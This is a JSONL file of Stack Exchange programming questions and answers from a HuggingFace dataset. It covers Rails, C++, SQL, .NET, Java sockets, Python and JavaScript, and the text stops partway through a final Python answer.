{"id": "hf_0f7093d2dcc1", "question": "<p>When I load <code>script/console</code>, sometimes I want to play with the output of a controller or a view helper method.</p>\n\n<p>Are there ways to:</p>\n\n<ul>\n<li>simulate a request?</li>\n<li>call methods from a controller instance on said request?</li>\n<li>test helper methods, either via said controller instance or another way?</li>\n</ul>\n", "question_body": "", "answer": "Here's one way to do this through the console:\n```\n```\n>> foo = ActionView::Base.new\n=> #<ActionView::Base:0x2aaab0ac2af8 @assigns_added=nil, @assigns={}, @helpers=#<ActionView::Base::ProxyModule:0x2aaab0ac2a58>, @controller=nil, @view_paths=[]>\n\n>> foo.extend YourHelperModule\n=> #<ActionView::Base:0x2aaab0ac2af8 @assigns_added=nil, @assigns={}, @helpers=#<ActionView::Base::ProxyModule:0x2aaab0ac2a58>, @controller=nil, @view_paths=[]>\n\n>> foo.your_helper_method(args)\n=> \"<html>created by your helper</html>\"\n```\n```\nCreating a new instance of\n```\nActionView::Base\n```\ngives you access to the normal view methods that your helper likely uses.  Then extending\n```\nYourHelperModule\n```\nmixes its methods into your object letting you view their return values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.826043"}
{"id": "hf_4a71dcf4e6b0", "question": "<p>I'm trying to figure out the best way to determine whether I'm in the last iteration of a loop over a map in order to do something like the following:</p>\n\n<pre><code>for (iter = someMap.begin(); iter != someMap.end(); ++iter) {\n    bool last_iteration;\n    // do something for all iterations\n    if (!last_iteration) {\n        // do something for all but the last iteration\n    }\n}\n</code></pre>\n\n<p>There seem to be several ways of doing this: random access iterators, the <code>distance</code> function, etc. What's the canonical method?</p>\n\n<p>Edit: no random access iterators for maps!</p>\n", "question_body": "", "answer": "This seems like the simplest:\n```\n```\nbool last_iteration = iter == (--someMap.end());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.875733"}
{"id": "hf_78dd6cd27376", "question": "<p>In .NET, under which circumstances should I use <code>GC.SuppressFinalize()</code>?</p>\n\n<p>What advantage(s) does using this method give me?</p>\n", "question_body": "", "answer": "That method must be called on the\n```\nDispose\n```\nmethod of objects that implements the\n```\nIDisposable\n```\n, in this way the GC wouldn't call the finalizer another time if someones calls the\n```\nDispose\n```\nmethod.\nSee:\nGC.SuppressFinalize(Object) Method - Microsoft Docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.901154"}
{"id": "hf_ee91b0ec9c99", "question": "<p>Having this route:</p>\n\n<pre><code>map.foo 'foo/*path', :controller =&gt; 'foo', :action =&gt; 'index'\n</code></pre>\n\n<p>I have the following results for the <code>link_to</code> call</p>\n\n<pre><code>link_to \"Foo\", :controller =&gt; 'foo', :path =&gt; 'bar/baz'\n# &lt;a href=\"/foo/bar%2Fbaz\"&gt;Foo&lt;/a&gt;\n</code></pre>\n\n<p>Calling <code>url_for</code> or <code>foo_url</code> directly, even with <code>:escape =&gt; false</code>, give me the same url:</p>\n\n<pre><code>foo_url(:path =&gt; 'bar/baz', :escape =&gt; false, :only_path =&gt; true)\n# /foo/bar%2Fbaz\n</code></pre>\n\n<p>I want the resulting url to be: <code>/foo/bar/baz</code></p>\n\n<p>Is there a way around this without patching rails?</p>\n", "question_body": "", "answer": "Instead of passing path a string, give it an array.\n```\n```\nlink_to \"Foo\", :controller => 'foo', :path => %w(bar baz)\n# <a href=\"/foo/bar/baz\">Foo</a>\n```\n```\nIf you didn't have the route in your routes file, this same link_to would instead create this:\n```\n```\n# <a href=\"/foo?path[]=bar&path[]=baz\">Foo</a>\n```\n```\nThe only place I could find this documented is in\nthis ticket\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.950920"}
{"id": "hf_ec405c5a372e", "question": "<p>I have two tables that are joined together. </p>\n\n<p>A has many B</p>\n\n<p>Normally you would do: </p>\n\n<pre><code>select * from a,b where b.a_id = a.id\n</code></pre>\n\n<p>To get all of the records from a that has a record in b. </p>\n\n<p>How do I get just the records in a that does not have anything in b?</p>\n", "question_body": "", "answer": "```\n```\nselect * from a where id not in (select a_id from b)\n```\n```\nOr like some other people on this thread says:\n```\n```\nselect a.* from a\nleft outer join b on a.id = b.a_id\nwhere b.a_id is null\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:56.976108"}
{"id": "hf_4cfbeb51fc7f", "question": "<p>Which one should I use?</p>\n\n<pre><code>catch (_com_error e)  \n</code></pre>\n\n<p>or  </p>\n\n<pre><code>catch (_com_error&amp; e)\n</code></pre>\n", "question_body": "", "answer": "The second.  Here is my attempt at quoting Sutter\n\"Throw by value, catch by reference\"\nLearn to\n```\ncatch\n```\nproperly: Throw exceptions by value (not pointer) and\n  catch them by reference (usually to\n```\nconst\n```\n). This is the combination\n  that meshes best with exception semantics. When rethrowing the same\n  exception, prefer just\n```\nthrow;\n```\nto\n```\nthrow e;\n```\n.\nHere's the full\nItem 73. Throw by value, catch by reference.\nThe reason to avoid catching exceptions by value is that it implicitly makes a copy of the exception. If the exception is of a subclass, then information about it will be lost.\n```\n```\ntry { throw MyException (\"error\") } \ncatch (Exception e) {\n    /* Implies: Exception e (MyException (\"error\")) */\n    /* e is an instance of Exception, but not MyException */\n}\n```\n```\nCatching by reference avoids this issue by not copying the exception.\n```\n```\ntry { throw MyException (\"error\") } \ncatch (Exception& e) {\n    /* Implies: Exception &e = MyException (\"error\"); */\n    /* e is an instance of MyException */\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.013049"}
{"id": "hf_9f2dce655876", "question": "<p>I encountered the following ddl in a pl/sql script this morning:</p>\n\n<p>create index genuser.idx$$_0bdd0011\n...</p>\n\n<p>My initial thought was that the index name was generated by a tool...but I'm also not a pl/sql superstar so I could very well be incorrect. Does the double dollar sign have any special significance in this statement? </p>\n", "question_body": "", "answer": "No special meaning or significance.\n```\n```\nSQL> create table t (col number)\n  2  /\n\nTable created.\n\nSQL> create index idx$$_0bdd0011 on t(col)\n  2  /\n\nIndex created.\n```\n```\nNote: CREATE INDEX is a DDL statement which is usually executed in a SQL script, not in PL/SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.076181"}
{"id": "hf_91b56c501510", "question": "<p>I have a bunch of tasks in a MySQL database, and one of the fields is \"deadline date\". Not every task has to have to a deadline date.</p>\n\n<p>I'd like to use SQL to sort the tasks by deadline date, but put the ones without a deadline date in the back of the result set. As it is now, the null dates show up first, then the rest are sorted by deadline date earliest to latest.</p>\n\n<p>Any ideas on how to do this with SQL alone? (I can do it with PHP if needed, but an SQL-only solution would be great.)</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nSELECT foo, bar, due_date FROM tablename\nORDER BY CASE ISNULL(due_date, 0)\nWHEN 0 THEN 1 ELSE 0 END, due_date\n```\n```\nSo you have 2 order by clauses. The first puts all non-nulls in front, then sorts by due date after that", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.100704"}
{"id": "hf_321ca33c1918", "question": "<p>If I have two dates (ex. <code>'8/18/2008'</code> and <code>'9/26/2008'</code>), what is the best way to get the number of days between these two dates?</p>\n", "question_body": "", "answer": "If you have two date objects, you can just subtract them, which computes a\n```\ntimedelta\n```\nobject.\n```\n```\nfrom datetime import date\n\nd0 = date(2008, 8, 18)\nd1 = date(2008, 9, 26)\ndelta = d1 - d0\nprint(delta.days)\n```\n```\nThe relevant section of the docs:\nhttps://docs.python.org/library/datetime.html\n.\nSee\nthis answer\nfor another example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.123777"}
{"id": "hf_7111827ea2c5", "question": "<p>I need to get the actual local network IP address of the computer (e.g. 192.168.0.220) from my program using C# and .NET 3.5. I can't just use 127.0.0.1 in this case.</p>\n<p>How can I accomplish this?</p>\n", "question_body": "", "answer": "In\nHow to get IP addresses in .NET with a host name\nby John Spano, it says to add the\n```\nSystem.Net\n```\nnamespace, and use the following code:\n```\n```\n//To get the local IP address \nstring sHostName = Dns.GetHostName (); \nIPHostEntry ipE = Dns.GetHostByName (sHostName); \nIPAddress [] IpA = ipE.AddressList; \nfor (int i = 0; i < IpA.Length; i++) \n{ \n    Console.WriteLine (\"IP Address {0}: {1} \", i, IpA[i].ToString ()); \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.181810"}
{"id": "hf_05bea2fc4a6b", "question": "<p>It seems that I've never got this to work in the past. Currently, I KNOW it doesn't work.</p>\n\n<p>But we start up our Java process:</p>\n\n<pre><code>-Dcom.sun.management.jmxremote\n-Dcom.sun.management.jmxremote.port=6002\n-Dcom.sun.management.jmxremote.authenticate=false\n-Dcom.sun.management.jmxremote.ssl=false\n</code></pre>\n\n<p>I can telnet to the port, and \"something is there\" (that is, if I don't start the process, nothing answers, but if I do, it does), but I can not get JConsole to work filling in the IP and port.</p>\n\n<p>Seems like it should be so simple, but no errors, no noise, no nothing. Just doesn't work.</p>\n\n<p>Anyone know the hot tip for this?</p>\n", "question_body": "", "answer": "Are you running on Linux? Perhaps the management agent is binding to localhost:\nhttp://java.sun.com/j2se/1.5.0/docs/guide/management/faq.html#linux1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.204685"}
{"id": "hf_7def6ff3c3f9", "question": "<p>movie id tt0438097 can be found at <a href=\"http://www.imdb.com/title/tt0438097/\" rel=\"noreferrer\">http://www.imdb.com/title/tt0438097/</a></p>\n\n<p>What's the url for its poster image?</p>\n", "question_body": "", "answer": "The URL is a random string as far as I can tell.\nIt can still be easily retrieved. It is the only\n```\nimg\n```\ninside the anchor named\n```\nposter\n```\n.\nSo, if you are reading the source, simply search for\n```\n<a name=\"poster\"\n```\nand it will be the text following the first\n```\nsrc=\"\n```\nfrom there.\nHowever, you will need to keep the screen scraping code updated because that will probably change.\nYou should also be aware that the images are copyrighted, so be careful to only use the image under a good \"fair use\" rationale.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.252208"}
{"id": "hf_2f7eba134499", "question": "<p>Is it possible to use system.currency. It says system.currency is inaccessible due to its protection level. what is the alternative of currency.</p>\n", "question_body": "", "answer": "You have to use\nDecimal\ndata type..\nThe decimal keyword indicates a 128-bit data type. Compared to floating-point types, the decimal type has more precision and a smaller range, which makes it appropriate for financial and monetary calculations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.287707"}
{"id": "hf_989db4da5f7c", "question": "<p>I'm looking for a cross-browser method - I know IE has something (I've already forgotten what), and the way to do it in Mozilla may have to do with a focusNode thing I found, that seems related to getting text selections.</p>\n\n<p>Methods involving jQuery or another common JS library are fine by me.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "OK then, so use jQuery.\nThere is no current, available way to just ask this. You need to track the focus events when they happen, so this sample (thanks to Karl Rudd\nhere\n) does that across all elements. This is for inputs but you can adjust the selector to fit your needs, even across the entire DOM.\n```\n```\nvar currentFocus = null; \n$(':input').focus( function() { \n    currentFocus = this; \n}).blur( function() { \n\n    currentFocus = null; \n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.373320"}
{"id": "hf_7627d8aa5a09", "question": "<p>How can I add an instance variable to a defined class at <b>runtime</b>, and later get and set its value from outside of the class?</p>\n\n<p>I'm looking for a metaprogramming solution that allows me to modify the class instance at runtime instead of modifying the source code that originally defined the class.  A few of the solutions explain how to declare instance variables in the class definitions, but that is not what I am asking about.  </p>\n", "question_body": "", "answer": "Ruby provides methods for this,\n```\ninstance_variable_get\n```\nand\n```\ninstance_variable_set\n```\n. (\ndocs\n)\nYou can create and assign a new instance variables like this:\n```\n```\n>> foo = Object.new\n=> #<Object:0x2aaaaaacc400>\n\n>> foo.instance_variable_set(:@bar, \"baz\")\n=> \"baz\"\n\n>> foo.inspect\n=> #<Object:0x2aaaaaacc400 @bar=\\\"baz\\\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.396563"}
{"id": "hf_5d055a312544", "question": "<p>What are my options?  I tried MonoDevelop over a year ago but it was extremely buggy.  Is the latest version a stable development environment?</p>\n", "question_body": "", "answer": "Is the latest version stable a stable development environment?\nProbably ... it hit 1.0 this past spring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.433828"}
{"id": "hf_45a938eba74f", "question": "<p>Does anyone know any good tool that I can use to perform stress tests on a video streaming server? I need to test how well my server handles 5,000+ connections. </p>\n", "question_body": "", "answer": "start downloading 5000+ files of the same type with different connections.  Don't really need to play them, because essentially the client video player, flash, windows media player, etc. will just be doing a download.  So if you server can handle 5000+ downloads you will be fine.  My bet is your bandwidth gives out before you server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.481795"}
{"id": "hf_3b37e46beb83", "question": "<p>I have a function pointer defined by:</p>\n\n<pre><code>typedef void (*EventFunction)(int nEvent);\n</code></pre>\n\n<p>Is there a way to handle that function with a specific instance of a C++ object?</p>\n\n<pre><code>class A\n{\nprivate:\n    EventFunction handler;\n\npublic:\n    void SetEvent(EventFunction func) { handler = func; }\n\n    void EventOne() { handler(1); }\n};\n\nclass B\n{\nprivate:\n    A a;\npublic:\n    B() { a.SetEvent(EventFromA); }  // What do I do here?\n\n    void EventFromA(int nEvent) { // do stuff }\n};\n</code></pre>\n\n<p><strong>Edit:</strong> Orion pointed out the options that Boost offers such as:</p>\n\n<pre><code>boost::function&lt;int (int)&gt; f;\nX x;\nf = std::bind1st(\n      std::mem_fun(&amp;X::foo), &amp;x);\nf(5); // Call x.foo(5)\n</code></pre>\n\n<p>Unfortunately Boost is not an option for me.  Is there some sort of \"currying\" function that can be written in C++ that will do this kind of wrapping of a pointer to a member function in to a normal function pointer?</p>\n", "question_body": "", "answer": "Unfortunately, the EventFunction type cannot point to a function of B, because it is not the correct type. You could make it the correct type, but that probably isn't really the solution you want:\n```\ntypedef void (*B::EventFunction)(int nEvent);\n```\n... and then everything works once you call the callback with an obhect of B. But you probably want to be able to call functions outside of B, in other classes that do other things. That is sort of the point of a callback. But now this type points to something definitely in B. More attractive solutions are:\nMake B a base class, then override a virtual function for each other class that might be called. A then stores a pointer to B instead of a function pointer. Much cleaner.\nIf you don't want to bind the function to a specific class type, even a base class (and I wouldn't blame you), then I suggest you make the function that gets called a static function: \"\n```\nstatic void EventFrom A(int nEvent);\n```\n\". Then you can call it directly, without an object of B. But you probably want it to call a specific instance of B (unless B is a singleton).\nSo if you want to be able to call a specific instance of B, but be able to call non-B's, too, then you need to pass something else to your callback function so that the callback function can call the right object. Make your function a static, as above, and add a void* parameter which you will make a pointer to B.\nIn practice you see two solutions to this problem: ad hoc systems where you pass a void* and the event, and hierarchies with virtual functions in a base class, like windowing systems", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.557207"}
{"id": "hf_aa3e18c4c295", "question": "<p>I have a web service API. Some calls return objects containing text fields with information provided by the user. From both a design and a security standpoint, what are the downsides to returning null in those fields when no information has been provided? Is there a clear advantage to always returning an empty string instead, other then simplifying the API by not requiring the client code to check for nulls?</p>\n", "question_body": "", "answer": "I don't think there's a security issue involved with returning null vs. returning an empty string.\nThere's not any real downside to returning null for those fields for which there is no information - that's kind of what nulls are meant to indicate.\nYou can simplify your client code by using\n```\n```\nstring.IsNullOrEmpty()\n```\n```\n(assuming this is .NET)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.583429"}
{"id": "hf_04035c006da6", "question": "<p>In .NET, what is the difference between <code>String.Empty</code> and <code>\"\"</code>, and are they interchangable, or is there some underlying reference or Localization issues around equality that <code>String.Empty</code> will ensure are not a problem?</p>\n", "question_body": "", "answer": "In .NET prior to version 2.0,\n```\n\"\"\n```\ncreates an object while\n```\nstring.Empty\n```\ncreates no object\nref\n, which makes\n```\nstring.Empty\n```\nmore efficient.\nIn version 2.0 and later of .NET, all occurrences of\n```\n\"\"\n```\nrefer to the same string literal, which means\n```\n\"\"\n```\nis equivalent to\n```\n.Empty\n```\n, but still not as fast as\n```\n.Length == 0\n```\n.\n```\n.Length == 0\n```\nis the fastest option, but\n```\n.Empty\n```\nmakes for slightly cleaner code.\nSee the\n.NET specification for more information\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.632177"}
{"id": "hf_238d3f005a8a", "question": "<p>I am converting an excel sheet formula to java but I can't understand how excel manages to take the following: 0.22\nApplies a formula: =TEXT(R5/14, \"h:mm\")\nand somehow arrives at: 0.22</p>\n\n<p>Again if I provide: 2.8\nit arrives at 4.48\nCan someone please explain to me how it does this. I have read a little regarding decimal and I understand the conversion but this hasn't yet helped to explain the above.</p>\n", "question_body": "", "answer": "Yeah it is a bit goofy.  Take the /14 out and that helps.  Basically 1=1 day so R5 is expressed in 14ths of a day.  You could probably do\n```\n```\nint msInADay= 86400000;\nTime value = new Time(R5/14 * msInADay);\n```\n```\nbut it is untested.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.657348"}
{"id": "hf_9301bfa6225e", "question": "<p>I came from Java, and now I am working more with Ruby. </p>\n\n<p>One language feature I am not familiar with is the <code>module</code>. I am wondering what exactly is a <code>module</code> and when do you use one, and why use a <code>module</code> over a <code>class</code>?</p>\n", "question_body": "", "answer": "Basically, the module cannot be instantiated. When a class includes a module, a proxy superclass is generated that provides access to all the module methods as well as the class methods.\nA module can be included by multiple classes. Modules cannot be inherited, but this \"mixin\" model provides a useful type of \"multiple inheritrance\". OO purists will disagree with that statement, but don't let purity get in the way of getting the job done.\n(This answer originally linked to\n```\nhttp://www.rubycentral.com/pickaxe/classes.html\n```\n, but that link and its domain are no longer active.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.682003"}
{"id": "hf_8703b3e2c591", "question": "<p>It is unclear to me from the <a href=\"http://msdn.microsoft.com/en-us/library/system.icloneable.aspx\" rel=\"nofollow noreferrer\">MSDN documentation</a> if I should provide a deep or a shallow clone when implementing ICloneable. What is the preferred option?</p>\n", "question_body": "", "answer": "Clones are deep by default, thats the naming convention\nand copy constructors can be shallow if they want, for performance reasons.\nEdit: This naming convention goes beyond boundaries, its the same for .Net, Java, C++, Javascript, etc... the actual source is beyond my knowledge but its part of the standard Object Oriented lexicon, just like objects, and classes. Thus MSDN doesn't specify implementation because its a given by the word itself (of course lots of newcomers to OO languages don't know this, and they SHOULD specify it, but then again their documentation is quite frugal anyways)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.705295"}
{"id": "hf_dfe744c29e4a", "question": "<p>I'm looking for a cross-browser method of detecting that a client web browser is scrolled all the way to the bottom (or top) of the screen.</p>\n\n<p>Really, the top is fairly easy, as<br>\n    <code>scrY = window.pageYOffset || document.body.scrollTop || document.documentElement.scrollTop</code><br>\nis zero if you're at the top.  The problem is that scrY seems to return the top of the scroll bar, and not the bottom, so instead of getting something equivalent to the height of the document (in pixels) I what is presumably the height of the document less the size of the scroll bar.</p>\n\n<p>Is there an easy, cross-browser way to find out if the user has scrolled down to the bottom of the document/window?  Most specifically, I understand general scroll bar manipulation (setting it, moving it, etc.) but how can I get the delta of the bottom of the scrollbar's position relative to the bottom of the window/document.  </p>\n", "question_body": "", "answer": "http://www.softcomplex.com/docs/get_window_size_and_scrollbar_position.html\nhttp://www.sitepoint.com/article/preserve-page-scroll-position/\nhttp://codepunk.hardwar.org.uk/ajs02.htm\nIn order to ensure that an element is visible, you can use the\n.scrollIntoView method", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.757024"}
{"id": "hf_dc001314d48b", "question": "<p>I need to get the fully expanded hostname of the host that my Ruby script is running on.  In Perl I've used Sys::Hostname::Long with good results.  Google seems to suggest I should use Socket.hostname in ruby, but that's returning just the nodename, not the full hostname.</p>\n", "question_body": "", "answer": "This seems to work:\n```\n```\nhostname = Socket.gethostbyname(Socket.gethostname).first\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.778330"}
{"id": "hf_d46418225aa0", "question": "<p>About a year ago, I picked up Scott Ambler's <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321293533\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Refactoring Databases: Evolutionary Database Design</a>. I was won over to the idea that just as you can develop your code with TDD, you probably should be covering your databases with unit tests (at least) or even writing database tests before you make a change to the schema so you do database work in a TDD style as well.</p>\n\n<p>I really like the idea, and I have been doing this (OK, sometimes I do it) by hand for a while now, just writing regular unit tests that happen to connect to the database and check its structure against a given schema file. But I haven't found any good database change management tool-kits that might help automate this process. Does anyone know any?</p>\n", "question_body": "", "answer": "I only know of two unit testing frameworks:\nDBUnit\nTSQLUnit\nAs for change management, these are some recommended tools:\nRedgate SQL Compare\nApexSQL\nToad\nAlthough I am not sure if this is really what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.809991"}
{"id": "hf_081c7536023f", "question": "<p>I'm a huge fan of bzr and I'm glad they're working on tortoise for it, but currently it's WAY too slow to be useful.  The icons are almost always incorrect and when I load a directory in explorer with a lot of branches it locks up my entire system for anywhere from 10 seconds to 2 minutes.  I look forward to trying it again in the future, but for now I'd like to disable it.</p>\n\n<p>Unfortunately I don't see it in add/remove programs and I can't find a way to disable it in the bazaar config directory.  When I right click the icon in the task panel (by the clock) and choose \"Exit Program\" it just restarts moments later.  I don't see it in the Services panel either.  Is there any way to disable it?</p>\n\n<p>I'm running Windows XP on the system in question.</p>\n", "question_body": "", "answer": "According to the\nTortoiseBZR readme\n, you can disable it by running\n```\n```\npython tortoise-bzr.py --unregister\n```\n```\nfrom the install folder.  Not sure where it's installed by default, but it looks like that might be in your Python site-packages folder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.831697"}
{"id": "hf_da4d74b089e1", "question": "<p>How do you detect if <code>Socket#close()</code> has been called on a socket on the remote side?</p>\n", "question_body": "", "answer": "The\n```\nisConnected\n```\nmethod won't help, it will return\n```\ntrue\n```\neven if the remote side has closed the socket. Try this:\n```\n```\npublic class MyServer {\n    public static final int PORT = 12345;\n    public static void main(String[] args) throws IOException, InterruptedException {\n        ServerSocket ss = ServerSocketFactory.getDefault().createServerSocket(PORT);\n        Socket s = ss.accept();\n        Thread.sleep(5000);\n        ss.close();\n        s.close();\n    }\n}\n\npublic class MyClient {\n    public static void main(String[] args) throws IOException, InterruptedException {\n        Socket s = SocketFactory.getDefault().createSocket(\"localhost\", MyServer.PORT);\n        System.out.println(\" connected: \" + s.isConnected());\n        Thread.sleep(10000);\n        System.out.println(\" connected: \" + s.isConnected());\n    }\n}\n```\n```\nStart the server, start the client. You'll see that it prints \"connected: true\" twice, even though the socket is closed the second time.\nThe only way to really find out is by reading (you'll get -1 as return value) or writing (an\n```\nIOException\n```\n(broken pipe) will be thrown) on the associated Input/OutputStreams.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.852411"}
{"id": "hf_3a2025bfd245", "question": "<p>In PHP5, is the __destruct() method guaranteed to be called for each object instance? Can exceptions in the program prevent this from happening?</p>\n", "question_body": "", "answer": "The destructor will be called when the all references are freed, or when the script terminates.  I assume this means when the script terminates properly.  I would say that critical exceptions would not guarantee the destructor to be called.\nThe\nPHP documentation\nis a little bit thin, but it does say that Exceptions in the destructor will cause issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:57.978078"}
{"id": "hf_d135bcd69272", "question": "<p>I'm looking for a tool that will, in bulk, add a license header to some source files, some of which already have the header.  Is there a tool out there that will insert a header, if it is not already present?</p>\n\n<p><em>Edit: I am intentionally not marking an answer to this question, since answers are basically all environment-specific and subjective</em> </p>\n", "question_body": "", "answer": "Python 2 solution, modify for your own need\nFeatures:\nhandles UTF headers (important for most IDEs)\nrecursively updates all files in target directory passing given mask (modify the .endswith parameter for the filemask of your language (.c, .java, ..etc)\nability to overwrite previous copyright text (provide old copyright parameter to do this)\noptionally omits directories given in the\n```\nexcludedir\n```\narray\n```\n```\n# updates the copyright information for all .cs files\n# usage: call recursive_traversal, with the following parameters\n# parent directory, old copyright text content, new copyright text content\n\nimport os\n\nexcludedir = [\"..\\\\Lib\"]\n\ndef update_source(filename, oldcopyright, copyright):\n    utfstr = chr(0xef)+chr(0xbb)+chr(0xbf)\n    fdata = file(filename,\"r+\").read()\n    isUTF = False\n    if (fdata.startswith(utfstr)):\n        isUTF = True\n        fdata = fdata[3:]\n    if (oldcopyright != None):\n        if (fdata.startswith(oldcopyright)):\n            fdata = fdata[len(oldcopyright):]\n    if not 